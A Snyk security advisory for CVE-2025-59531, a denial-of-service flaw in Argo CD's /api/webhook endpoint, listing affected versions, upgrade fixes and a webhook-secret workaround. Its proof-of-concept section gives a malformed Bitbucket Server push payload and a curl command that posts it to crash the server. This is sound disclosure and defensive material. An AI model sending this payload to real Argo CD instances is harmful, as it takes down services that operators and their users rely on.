Improper Check or Handling of Exceptional Conditions Affecting github.com/argoproj/argo-cd/v3/util/webhook package, versions >=3.0.0-rc1 <3.0.19>=3.1.0-rc1 <3.1.8>=3.2.0-rc1 <3.2.0-rc2


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.04% (12th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-GOLANG-GITHUBCOMARGOPROJARGOCDV3UTILWEBHOOK-13173009
  • published1 Oct 2025
  • disclosed30 Sept 2025
  • creditJakub Ciolek

Introduced: 30 Sep 2025

NewCVE-2025-59531  (opens in a new tab)
CWE-703  (opens in a new tab)

How to fix?

Upgrade github.com/argoproj/argo-cd/v3/util/webhook to version 3.0.19, 3.1.8, 3.2.0-rc2 or higher.

Overview

Affected versions of this package are vulnerable to Improper Check or Handling of Exceptional Conditions in the /api/webhook endpoint. An attacker can cause the server to crash and disrupt service availability by sending a Bitbucket Server Push event with JSON field repository.links.clone set to anything other than an array.

Note:

This is only exploitable if the default configuration is used where the webhook.bitbucketserver.secret is not set.

Workaround

This vulnerability can be mitigated by configuring a webhook secret to restrict access to trusted parties or by setting the secret to a long, random value to disable webhook handling for Bitbucket Server payloads.

PoC

Bitbucket Server payload:

{
  "eventKey": "repo:refs_changed",
  "repository": {
    "name": "guestbook",
    "fullName": "APP/guestbook",
    "links": { "clone": "boom" }
  },
  "changes": [ { "ref": { "id": "refs/heads/master" } } ]
}

Push event:

curl -k -X POST https://argocd.example.com/api/webhook \
     -H 'X-Event-Key: repo:refs_changed' \
     -H 'Content-Type: application/json' \
     --data-binary @payload-panic.json

References

CVSS Base Scores

version 4.0
version 3.1